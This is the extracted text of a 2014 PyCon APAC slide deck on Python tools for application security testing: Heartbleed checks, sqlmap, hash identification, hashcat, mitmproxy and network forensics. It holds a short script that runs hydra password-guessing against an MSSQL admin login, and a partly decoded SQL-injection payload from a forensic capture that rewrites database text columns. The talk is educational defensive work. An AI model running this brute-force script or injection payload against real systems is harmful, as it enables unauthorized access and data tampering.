Python for Application Security Testing

Slide 1

Slide 1 text

Python for Application Security Testing Zaki Akhmad PyCon APAC 2014 May 18, 2014 Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 1 / 41

Slide 2

Slide 2 text

hen gao xing ren shi ni Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 2 / 41

Slide 3

Slide 3 text

About Me Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 3 / 41

Slide 4

Slide 4 text

Zaki Akhmad @zakiakhmad Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 4 / 41

Slide 5

Slide 5 text

Python Indonesia Meetup Organizer Planet Python Indonesia Maintainer Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 5 / 41

Slide 6

Slide 6 text

Security Analyst Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 6 / 41

Slide 7

Slide 7 text

This talk won’t be a rocket-science talk Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 7 / 41

Slide 8

Slide 8 text

Heartbleed Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 8 / 41

Slide 9

Slide 9 text

Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 9 / 41

Slide 10

Slide 10 text

Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 10 / 41

Slide 11

Slide 11 text

Python script to test heartbleed vulnerability https://github.com/musalbas/heartbleed-masstest Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 11 / 41

Slide 12

Slide 12 text

Detect and Exploit SQL Injection Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 12 / 41

Slide 13

Slide 13 text

Exploits of a Mom, XKCD #327 Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 13 / 41

Slide 14

Slide 14 text

#1. Injection Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 14 / 41

Slide 15

Slide 15 text

SQL Injection is (mostly) about the unauthorized DBMS data access Miroslav Stampar, sqlmap Developer Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 15 / 41

Slide 16

Slide 16 text

SQL Injection techniques: Blind Error Union (partial and full) Time Stacked Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 16 / 41

Slide 17

Slide 17 text

sqlmap - Project Statistic http://www.ohloh.net/p/sqlmap Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 17 / 41

Slide 18

Slide 18 text

Dump DBMS database table entries Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 18 / 41

Slide 19

Slide 19 text

Contribution Feature request Conﬁgure output directory Retrieve database server IP address Add Indonesian common-columns Bug [CRITICAL] unhandled exception Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 19 / 41

Slide 20

Slide 20 text

Identify Hash Algorithm Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 20 / 41

Slide 21

Slide 21 text

If you found hashed passwords with a-f,0-9 and length 32, it might be: MD5 Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 21 / 41

Slide 22

Slide 22 text

hash-identiﬁer: python script to identify hashes algorithm Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 22 / 41

Slide 23

Slide 23 text

We need to know the hash algorithm to crack it Security is only as strong as the weakest link And the most frequent weakest link is password Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 23 / 41

Slide 24

Slide 24 text

$ hashcat-0.47 ./hashcat-cli64.bin --help hashcat, advanced password recovery Usage: hashcat [options] hashfile [mask|wordfiles|directories] ... Hash type 0 = MD5 10 = md5($pass.$salt) 50 = HMAC-MD5 (key = $pass) 100 = SHA1 200 = MySQL 400 = phpass, MD5(Wordpress), MD5(phpBB3) 500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5 800 = SHA-1(Django) hashcat: advanced password recovery Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 24 / 41

Slide 25

Slide 25 text

hydra: A very fast network logon cracker dictionary attack: trying to login using words in the dictionary python script to execute hydra for multiple dictionary ﬁles (wordlists) Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 25 / 41

Slide 26

Slide 26 text

hydra-multiple-wordlist.py import threading import os from subprocess importcall def listdir_fullpath(d): return [os.path.join(d, f) for f in os.listdir(d)] def main(): wordlists = listdir_fullpath("/home/za/tools/wordlist") for wordlist in wordlists: print in progress using %s wordlist % wordlist call([hydra, -l, admin, -P, wordlist, 192.168.99.66,mssql,-v, -t, 128]) print done if __name__ == __main__: main() Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 26 / 41

Slide 27

Slide 27 text

Proxy - Network Traﬃc Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 27 / 41

Slide 28

Slide 28 text

web browser - proxy - server mobile apps - proxy - server Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 28 / 41

Slide 29

Slide 29 text

mitmproxy mitmproxy: a man-in-the-middle proxy intercept, modify, replay and save HTTP/S traﬃc Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 29 / 41

Slide 30

Slide 30 text

mitmproxy analyzing HTTPS connection Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 30 / 41

Slide 31

Slide 31 text

mitmproxy analyzing POST request Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 31 / 41

Slide 32

Slide 32 text

Network Forensic Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 32 / 41

Slide 33

Slide 33 text

Client: We have deployed (network) ﬁrewall but we still got attacked by SQL injection Starting the forensic by capturing all network traﬃc Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 33 / 41

Slide 34

Slide 34 text

sqlinject-ﬁnder Script parses through a pcap and looks for common SQL inject characteristics Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 34 / 41

Slide 35

Slide 35 text

sqlinject-ﬁnder # tcpdump -i eth0 port 80 -s0 -G 3600 -w packet_%Y%m%d.%H%M.pcap Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 35 / 41

Slide 36

Slide 36 text

sqlinject-ﬁnder $ python sqlinject-finder.py -f packet_20140518.1530.pcap Source : xxx.80.8.88 Page : /transfertoasp.aspx Value : id=143) declar @s varchar(4000) i set @s=cast(0x20736557420616e7369.... Frame : 52653 Reason : Possible use of SQL syntax in variable Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 36 / 41

Slide 37

Slide 37 text

sqlinject-ﬁnder We need to decode it Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 37 / 41

Slide 38

Slide 38 text

sqlinject-ﬁnder #!/usr/bin/python import binascii binascii.unhexlify() Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 38 / 41

Slide 39

Slide 39 text

sqlinject-ﬁnder Decoded packet set ansi_warnings off DECLARE @T VARCHAR(255), @C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in (\’nvarchar\’, \’varchar\’, \’ntext\’, \’text\’,and c.CHARACTER_MAXIMUM_LENGHT>30 and t.table_name=c.table_name and t.table_type=\’BASE TABLE\’ OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T, @C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(\’UPDATE [\’+@T+\’] SET [\’+@C+\’]=\’\’"> Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 39 / 41

Slide 40

Slide 40 text

Wrap Up Heartbleed SQL injection Hash algorithm Proxy Network forensic ... and many more! Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 40 / 41

Slide 41

Slide 41 text

Zaki Akhmad (PyCon APAC 2014) Python for Application Security Testing May 18, 2014 41 / 41